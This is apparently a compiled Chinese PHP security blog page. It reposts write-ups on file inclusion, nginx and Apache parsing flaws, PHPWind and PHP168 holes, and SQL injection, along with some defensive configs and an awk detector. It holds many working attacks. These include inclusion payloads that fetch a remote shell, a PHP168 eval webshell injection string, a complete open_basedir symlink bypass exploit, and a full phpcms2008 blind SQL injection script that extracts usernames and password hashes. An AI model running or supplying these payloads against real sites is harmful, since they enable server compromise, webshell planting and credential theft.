php技术

PHP文件包含漏洞利用 – 概述

这是一个关于PHP文件包含漏洞的一个小的总结,来自Reiners’ Weblog。这些技巧可能以前在很多地方都可以看到,但他把它整理规范了,方便收藏与阅读。
小译:wpulog

基本的文件包含漏洞:
code : <?php include("includes/" . $_GET['file']); ?>
    * 包含同路径下的文件:
      ?file=.htaccess
    * 路径遍历:
      ?file=../../../../../../../../../var/lib/locate.db
      (该文件非常有趣因为它允许你搜索文件系统)
    * 包含注入PHP代码的文件:
      ?file=../../../../../../../../../var/log/apache/error.log
      (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
受限的本地文件包含:
code : <?php include("includes/" . $_GET['file'] . ".htm"); ?>
    * 空字符注入(Null Byte Injection):
      ?file=../../../../../../../../../etc/passwd%00
      (需要magic_quotes_gpc=off)
    * 列目录(Null Byte Injection):
      ?file=../../../../../../../../../var/www/accounts/%00
      (仅限BSD, 需要magic_quotes_gpc=off,详细信息here)

    *路径截断(Path Truncation):
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (详细信息参见 herehere)
    * 点号截断:
      ?file=../../../../../../../../../etc/passwd……………. …
      (仅限Windows, 更多细节参见 here)
基本的远程文件包含:
code : <?php include($_GET['file']); ?>
    * 包含远程代码(Including Remote Code):
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (需要 allow_url_fopen=On 和 allow_url_include=On)
    * 使用php输入流(Using PHP stream php://input):
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    * 使用PHP过滤函数(Using PHP stream php://filter):
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    * Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (需要 allow_url_include=On)
    * 用于跨站脚本攻击(Using XSS):
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞
code : <?php include($_GET['file'] . ".htm"); ?>
    * ?file=http://websec.wordpress.com/shell
    * ?file=http://websec.wordpress.com/shell.txt?
    * ?file=http://websec.wordpress.com/shell.txt%23
      (需要 allow_url_fopen=On 和 allow_url_include=On)
静态远程文件包含漏洞:
code : <?php include("http://192.168.1.10/config.php"); ?>
    * 中间人攻击(Man In The Middle)
      (lame indeed, but often forgotten)

[+]Reference:
~~~~~~~~~

英文原文地址:http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

出自:BugZone – http://www.pulog.org/Knows/1328/PHP-file-include/ 转载必须注明!

再提供一种解决Nginx文件类型错误解析漏洞的方法

昨日,80Sec 爆出Nginx具有严重的0day漏洞,详见《Nginx文件类型错误解析漏洞》。只要用户拥有上传图片权限的Nginx+PHP服务器,就有被入侵的可能。
其实此漏洞并不是Nginx的漏洞,而是PHP PATH_INFO的漏洞,详见:http://bugs.php.net/bug.php?id=50852&edit=1
例如用户上传了一张照片,访问地址为http://www.domain.com/images/test.jpg,而test.jpg文件内的内容实际上是PHP代码时,通过http://www.domain.com/images/test.jpg/abc.php就能够执行该文件内的PHP代码。
网上提供的临时解决方法有:
方法①、修改php.ini,设置cgi.fix_pathinfo = 0;然后重启php-cgi。此修改会影响到使用PATH_INFO伪静态的应用,例如我以前博文的URL:http://blog.s135.com/read.php/348.htm 就不能访问了。
方法②、在nginx的配置文件添加如下内容后重启:if ( $fastcgi_script_name ~ \..*\/.*php ) {return 403;}。该匹配同样会一并干掉类似“/read.php/348.htm”的URI。
方法③、对于存储图片的location{…},或虚拟主机server{…},只允许纯静态访问,不配置PHP访问。例如在金山逍遥网论坛、SNS上传的图片、附件,会传送到专门的图片、附件存储服务器集群上(pic.xoyo.com),这组服务器提供纯静态服务,无任何动态PHP配置。各大网站几乎全部进行了图片服务器分离,因此Nginx的此次漏洞对大型网站影响不大。


本人再提供一种修改nginx.conf配置文件的临时解决方法,兼容“http://blog.s135.com/demo/0day/phpinfo.php/test”的PATH_INFO伪静态,拒绝“http://blog.s135.com/demo/0day/phpinfo.jpg/test.php”的漏洞攻击:

location ~* .*\.php($|/)
{
      if ($request_filename ~* .*\.php$) {
         set $is_path_info ’0′;
      }
      if (-e $request_filename) {
         set $is_path_info ’1′;
      }
      if ($is_path_info ~ ’0′) {
         return 403;
      }
      fastcgi_pass  127.0.0.1:9000;
      fastcgi_index index.php;
      include fcgi.conf;
}

也可将以下内容写在fcgi.conf文件中,便于多个虚拟主机引用:

if ($request_filename ~* .*\.(php|php5)$) {
    set $is_path_info ’0′;
}
if (-e $request_filename) {
    set $is_path_info ’1′;
}
if ($is_path_info ~ ’0′) {
    return 403;
}
fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;
fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  SCRIPT_NAME        $uri;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;
# PHP only, required if PHP was built with –enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

nginx文件类型错误解析漏洞

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以


location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

http://www.80sec.com/80sec.jpg/80sec.php

将会得到一个URI

/80sec.jpg/80sec.php

经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中,我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后,以/scripts/80sec.jpg作为此次请求需要执行的脚本,攻击者就可以实现让nginx以php来解析任何类型的文件了。

POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

漏洞厂商:http://www.nginx.org

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

PS: 鸣谢laruence大牛在分析过程中给的帮助

本站内容均为原创,转载请务必保留署名与链接!
nginx文件类型错误解析漏洞:http://www.80sec.com/nginx-securit.html

Apache 漏洞之后缀名解析漏洞

我们都知道windows2003 + IIS6.0下,如果目录结构中有xxx.asp这样的目录,那么所有这个目录下的文件不管扩展名为什么,都会当作asp来解析。我们一般称这个漏洞为windows2003+iis6.0目录解析漏洞。但是大家可能不知道的是,apache服务器也存在类似的解析漏洞
我们来做下实验,我在本地搭建好了一个apache+php的测试平台

两个文件phpinfo.php  phpinfo.php.a ,我们来访问下phpinfo.php.a
http://192.168.99.110/phpinfo.php.a

可以解析,换成其他后缀仍然可以
不管文件最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime.types文件里面没有定义的扩展名在诸如x1.x2.x3的情况下,最后一个x3的没有定义,他会给解析成倒数第二个的x2的定义的扩展名。所以xxx.php.rar或者xxx.php.111这些默认没在mime.types文件定义的都会解析成php的。同样如果是cgi或者jsp也一样。。。
那么如果涉及到web程序的上传页面,如果上传的文件名是我们可以定义的,那么我们完全可以上传一个xxx.php.jpg这样名字的webshell,apache仍然会当作php来解析,我们再来测试下jpg

防御方法:
apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “\.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>

保存,从起apache以后,我们再来看看

OK,防御方法就是这样

from:http://blog.csdn.net/linkboy2004/archive/2010/04/28/5538172.aspx

PHPWind 7.5 多处包含漏洞

作者: 80vul

一.api/class_base.php本地包含漏洞

1.描叙

api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析

api/class_base.php文件里:

function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.'api/class_' . $mode . '.php')) {
return new ErrorMsg(API_MODE_NOT_EXISTS, "Class($mode) Not Exists");
}
require_once(R_P.'api/class_' . $mode . '.php'); //这里
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, "Method($method of $mode) Not Exists");
}
!is_array($params) && $params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}

我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

function run($request) {
$request = $this->strips($request);
if (isset($request['type']) && $request['type'] == 'uc') {
$this->type = 'uc';
$this->apikey = $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
} else {
$this->type = 'app';
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == 'app' && !$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, 'App Closed');
}
***/
ksort($request);
reset($request);
$arg = '';
foreach ($request as $key => $value) {
if ($value && $key != 'sig') {
$arg .= "$key=$value&";
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS['uc_key'],和$request['sig']我们
//都可以控制,那么很容易绕过它
return new ErrorMsg(API_SIGN_ERROR, 'Error Sign');
}
$mode = $request['mode']; //取$mode 没有过滤直接进入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION < 5.2) { require_once(R_P.'api/class_json.php'); $json = new Services_JSON(true); $params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params && isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //调用callback ()
}

我们继续看看run()函数的调用:

在pw_api.php文件里:

$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.’api/class_’ . $mode . ‘.php’);这个需要绕过魔术引号才可以
包含容易文件.我们注意看run()的第一句

$request = $this->strips($request);

strips()的代码:

function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
}
return $param;
}

3.POC/EXP

4.FIX

由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

http://www.phpwind.net/read-htm-tid-914851.html

具体代码:

require_once Pcv(R_P.'api/class_' . $mode . '.php');

function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(' http://',"\0"); //过滤了http:// \0 意思是不让远程 不让截断
$ifcheck && $tmparray[] = '..'; //过滤了.. 意思是不让转跳目录
if (str_replace($tmparray,'',$tmpname)!=$tmpname) {
exit('Forbidden');
}
return $filename;
}

从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? …

二.apps/share/index.php远程包含漏洞

1.描叙

apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

三.apps/groups/index.php远程包含漏洞

1.描叙

apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

if ($route == "groups") {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == "group") {
require_once $basePath . '/action/m_group.php';
} elseif ($route == "galbum") {
require_once $basePath . '/action/m_galbum.php';
}

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

PHP+MySQL环境下SQL Injection攻防总结

作者:老王

程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个新功能先,先写一个测试用例,然后再编写代码使之运行通过。其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报错,然后一点一点的修正参数内容,当程序再次运行成功之时,注入也就随之成功了。

进攻:

假设你的程序里有类似下面内容的脚本:

$sql = “SELECT id, title, content FROM articles WHERE id = {$_GET['id']}”;

正常访问时其URL如下:

/articles.php?id=123

当黑客想判断是否存在SQL Injection漏洞时,最常用的方式就是在整形ID后面加个单引号:

/articles.php?id=123′

由于我们没有过滤$_GET['id']参数,所以必然会报错,可能会是类似下面的信息:

supplied argument is not a valid MySQL result resource in …

这些信息就足以说明脚本存在漏洞了,我们可以再耍点手段:

/articles.php?id=0 union select 1,2,3

之所以select 1,2,3是因为union要求两边的字段数一致,前面是id,title,content三个字段,后面1,2,3也是三个,所以不会报语法错误,还有设置id=0是一条不存在的记录,那么查询的结果就是1,2,3,反映到网页上,原本显示id的地方会显示1,显示title的地方会显示2,显示content的地方会显示3。

至于如何继续利用,还要看magic_quotes_gpc的设置:

当magic_quotes_gpc为off时:

/articles.php?id=0 union select 1,2,load_file(‘/etc/passwd’)

如此一来,/etc/passwd文件的内容就会显示在原本显示content的地方。

当magic_quotes_gpc为on时:

此时如果直接使用load_file(‘/etc/passwd’)就无效了,因为单引号被转义了,但是还有办法:

/articles.php?id=0 union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))

其中的数字就是/etc/passwd字符串的ASCII,除此以为,还可以使用字符串的十六进制:

/articles.php?id=0 union select 1,2,load_file(0x2f6574632f706173737764)

这里仅仅说了数字型参数的几种攻击手段,属于冰山一角,详细介绍看我文章后面的文档链接。

防守:

网络上有一些类似SQL Injection Firewall的软件可供使用,比如说GreenSQL,如果网站已经开始遭受SQL Injection攻击,那么使用这样的快捷工具往往会救你一命,不过这样的软件在架构上属于一个Proxy的角色,多半会影响网站并发性能,所以在选择与否这个问题上最好视客观条件来慎重决定。很多时候专业的软件并不是必须的,还有很多轻量级解决方案,下面演示一下如何使用awk来检测可能的漏洞。

创建detect_sql_injection.awk脚本,内容如下(如果要拷贝一下内容的话记得不要包括行号):

01 #!/bin/gawk -f
02
03 /\$_(GET|POST|COOKIE|REQUEST)\s*\[/ {
04 IGNORECASE = 1
05 if (match($0, /\$.*(sql|query)/)) {
06 IGNORECASE = 0
07 output()
08 next
09 }
10 }
11
12 function output()
13 {
14 $1 = $1
15 print "CRUD: " $0 "\nFILE: " FILENAME "\nLINE: " FNR "\n"
16 }

此脚本可匹配出类似如下的问题代码,想要扩展匹配模式也容易,只要照猫画虎写if match语句即可。

1:$sql = "SELECT * FROM users WHERE username = '{$_POST['username']}’”;
2:$res = mysql_query(“SELECT * FROM users WHERE username = ‘{$_POST['username']}’”);

使用前别忘了先chmod +x detect_sql_injection.awk,有两种调用方法:

1:./detect_sql_injection.awk /path/to/php/script/file
2:find /path/to/php/script/directory -name “*.php” | xargs ./detect_sql_injection.awk

会把有问题的代码信息显示出来,样子如下:

CRUD: $sql = “SELECT * FROM users WHERE username = ‘{$_POST['username']}’”;
FILE: /path/to/file.php
LINE: 123

现实环境中有很多应用这个脚本的方法,比如说通过CRON定期扫描程序源文件,或者在SVN提交时通过钩子方法自动匹配。

使用专业工具也好,检测脚本亦罢,都是被动的防守,问题的根本始终取决于在程序员头脑里是否有必要的安全意识,下面是一些必须要牢记的准则:

1:数字型参数使用类似intval,floatval这样的方法强制过滤。
2:字符串型参数使用类似mysql_real_escape_string这样的方法强制过滤,并且要注意字符集。
3:最好抛弃mysql_query这样的拼接SQL查询方式,尽可能使用PDO的prepare绑定方式。
4:使用rewrite技术隐藏真实脚本及参数的信息,通过rewrite正则也能过滤可疑的参数。
5:关闭错误提示,不给攻击者提供敏感信息:display_errors=off。
6:以日志的方式记录错误信息:log_errors=on和error_log=filename,定期排查,Web日志最好也查。
7:不要用具有FILE权限的账号(比如root)连接MySQL,这样就没有权限使用load_file等函数。
8:……

网站安全其实并不复杂,总结出来就是一句话:过滤输入,转义输出。其中,我们上面一直讨论的SQL Injection问题就属于过滤输入问题,至于转义输出问题,其代表是Cross-site scripting,但它不属于本文的范畴,就不多说了。
from:http://hi.baidu.com/thinkinginlamp/blog/item/7c691f301ab56693a9018e8a.html

PHP 5.2.11/5.3.0 symlink() open_basedir bypass

The first main problem exist in security model based on symlinks
open_basedir. Paths like $target and $link are checked by open_basedir. We
can bypass open_basedir, but function symlink() is not affected. Issue has
been generated by false security model designed by PHP.

<?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir=”cx”;
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file=”";

echo ‘<PRE><img
src=”http://securityreason.com/gfx/logo.gif?cx5211.php”><P>This is exploit
from <a
href=”http://securityreason.com/” title=”Security Audit PHP”>Security Audit
Lab – SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass
<p>More: <a href=”http://securityreason.com/”>SecurityReason</a>
<p><form name=”form”
action=”http://’.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"]).’” method=”post”><input type=”text” name=”file” size=”50″
value=”‘.htmlspecialchars($file).’”><input type=”submit” name=”hym”
value=”Create Symlink”></form>’;

if(empty($file))
exit;

if(!is_writable(“.”))
die(“not writable directory”);

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as–) chdir(“..”);

$hardstyle = explode(“/”, $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as–)
chdir(“..”);

@rmdir(“fakesymlink”);
@unlink(“fakesymlink”);

@symlink(str_repeat($fakedir.”/”,$fakedep),”fakesymlink”);

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink(“fakesymlink/”.str_repeat(“../”,$fakedep-1).$file,
“symlink”.$num))) break;
else $num++;

@unlink(“fakesymlink”);
mkdir(“fakesymlink”);

die(‘<FONT COLOR=”RED”>check symlink <a
href=”./symlink’.$num.’”>symlink’.$num.’</a> file</FONT>’);

?>

提醒下 5.1.6也可以的 :)
直接/etc/
然后点连接
http://localhost/symlink1/passwd
!!!!!!!!!!!!!!!!!!!!!

from:http://hi.baidu.com/hackloft/blog/item/3afa631c62dc168186d6b67c.html

WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution

#Trace: 授权用户的拿webshell的方法.受影响版本<=2.8.5,受服务器环境影响.

Note:

WordPress allows authorised users to add an attachment to a blog post.
It does not sanitize provided file properly before moving it to an
uploads directory.

http://seclists.org/fulldisclosure/2009/Nov/141

from:web安全手册

phpcms2008 最新0day & Exp

来源:My5t3ry

漏洞存在于yp/job.php的17-34行,urldecode函数惹的祸,代码如下:

PHP代码
switch($action)
{
case 'list':
$catid = intval($catid);
$head['keywords'] .= '职位列表';
$head['title'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$head['description'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$templateid = 'job_list';
if($inputtime)
$time = time() - 3600*$inputtime*24;
else $time = 0;
if($time < 0 )$time = 0;
$where = "j.updatetime >= '{$time}' ";
$genre = urldecode($genre);
if($station)$where .= "AND j.station = '{$station}' ";
if($genre)$where .= "AND c.genre = '{$genre}' ";
if(!trim($where))$where = '1';
break;


exp:

PHP代码

if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$userid = $argv [3];
$prefix="phpcms_";
//$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$pos = 1;
$chr = 0;

function usage ()
{
global $argv;
echo
"\n[+] PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit".
"\n[+] Author: My5t3ry".
"\n[+] Site : http://hi.baidu.com/netstart".
"\n[+] Usage : php ".$argv[0]." ".
"\n[+] Ex. : php ".$argv[0]." localhost /yp 1".
"\n\n";
exit ();
}

function request ($hostname, $path, $query)
{
$fp = fsockopen ($hostname, 80);

$request = "GET {$path}/job.php?action=list&inputtime=0&station=4&genre={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";

fputs ($fp, $request);

while (!feof ($fp))
$reply .= fgets ($fp, 1024);

fclose ($fp);
return $reply;
}

function exploit ($hostname, $path, $uid, $fld, $chr, $pos)
{
global $prefix;

$chr = ord ($chr);

$query = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM ".$prefix."member WHERE userid = '{$uid}'),{$pos},1))={$chr} OR '1' = '2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

preg_match ("/(.+)<\/span>/", $outcode, $x);

if (strlen (trim ($x [1])) == 0)
return false;
else
return true;
}

$query = "x%2527";

$outcode = request ($hostname, $path, $query);

preg_match('/FROM `(.+)yp_job/ie',$outcode,$match);

$prefix=$match[1];

//function lengthcolumns ()
//{
echo "\n--------------------------------------------------------------------------------\n";
echo " PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit\n";
echo " By My5t3ry (http://hi.baidu.com/netstart)\n";
echo "\n--------------------------------------------------------------------------------\n";
echo "[~]trying to get pre...\n";

if ($match[1]) {

echo '[+]Good Job!Wo Got The pre -> '.$match[1]."\n";
}

else {
die(" Exploit failed...");
}

echo "[~]trying to get username length...\n";
$exit=0;
$length=0;
$i=0;
while ($exit==0)
{
$query = "x' OR length((select username from ".$prefix."member Where userid='{$userid}'))=".$i." OR '1'='2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

$i++;

preg_match ("/(.+)<\/span>/", $outcode, $x);
//echo $outcode;
if ($i>20) {die(" Exploit failed...");}

if (strlen (trim ($x [1])) != 0) {
$exit=1;
}else{
$exit=0;
}
}

$length=$i-1;
echo "[+]length -> ".$length;

// return $length;
//}

echo "\n[~]Trying to Crack...";
echo "\n[+]username -> ";

while ($pos <= $length)
{
$key = "abcdefghijklmnopqrstuvwxyz0123456789";

if (exploit ($hostname, $path, $userid, "username", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

$pos = 9;

echo "\n[+]password(md5) -> ";

while ($pos <= 24)
{
$key = "abcdef0123456789";
if (exploit ($hostname, $path, $userid, "password", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

echo "\n[+]Done!";
echo "\n\n--------------------------------------------------------------------------------";

?>

PHP168 6.0及以下版本漏洞

转自:鬼仔

来源:chinesehonker

危险等级:高

影响版本:PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句:
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

Windows Cache Extension for PHP 更多介绍

今天IIS团队发布了Windows Cache Extension 1.0 for PHP的beta测试版,这是用来提高PHP应用跑在Windows系统上的速度的PHP加速器。任何PHP应用程序不需要修改任何代码都可以用它来提速,所需做的只是在PHP引擎里启用这个扩展。

安装 Windows Cache Extension 1.0 for PHP – Beta 

或下载:

Windows Cache Extension 1.0 for PHP 5.2 – Beta
Windows Cache Extension 1.0 for PHP 5.3 – Beta

按照”Using Windows Cache Extension for PHP“文章里的指示来安装、启用和配置这个扩展。

注意:

  • 该扩展只能用于PHP的non-thread-safe版本
  • 该扩展只能用于以FastCGI方式运行在IIS上的PHP
  • Windows Cache Extension 1.0 for PHP 5.3只能用于PHP5.3的x86 VC9版本

特性:

  • 支持PHP 5.2和PHP 5.3
  • 提供PHP函数获得cache状态信息


该扩展包含3个可以被分别启用或禁用的缓存特性:

  • PHP opcode cache – PHP是一个脚本处理引擎,它阅读包含文本和/或PHP指令的输入流,并产生另一个数据流(通常是HTML格式)。这意味着在一个web服务器上PHP引擎对每一次来自浏览器客户端的请求都要读入、解析、编译和执行一遍PHP脚本。读入、解析和编译操作给web服务器的CPU和文件系统带来额外的负载,影响PHP网页应用的总体效能。PHP opcode (字节码) cache 用来在共享内存里缓存编译好的脚本字节码,以便同一脚本文件的后续请求可以被PHP引擎重用。
  • File cache – 即使PHP字节码缓存启用,PHP引擎还需要访问文件系统里的脚本文件。当PHP脚本存储在远程UNC文件共享时,文件操作会带来显著的性能开销。Windows Cache Extension for PHP的文件缓存可以把PHP脚本文件的内容缓存在共享内存里,减少PHP引擎的文件系统操作。
  • Relative file path cache – PHP脚本频繁使用相对路径include或操作文件。每个相对文件路径需要被PHP引擎转换成绝对文件路径。当PHP应用以相对路径使用很多PHP文件时,解析相对路径到绝对路径的操作会影响性能。Windows Cache Extension for PHP提供相对文件路径缓存,减少PHP引擎需要进行的转换数量。

更多信息


您可以使用Windows Cache Extension for PHP Forummailto:iisphp或在本文后留言来提问、汇报问题或提供特性反馈建议等。

Windows Cache Extension for PHP Beta 发布

也许您同时喜欢PHP的开发速度和Windows的易用性,但PHP和Windows的配合似乎永远没有Linux好?今天微软终于可以让Windows的PHP用户向Linux下的朋友们炫耀一下:
Windows Cache Extension for PHP Beta 发布,这是一个面向PHP的Windows缓存扩展,用于提高PHP应用程序的速度,而且无需修改任何代码!支持IIS 7.5和IIS 7.0.

  • PHP 5.2 and PHP 5.3 support
  • Configurable file cache
  • Configurable PHP opcode cache
  • Relative file path cache
  • PHP functions to obtain information about the cache status

访问:Windows Cache Extension for PHP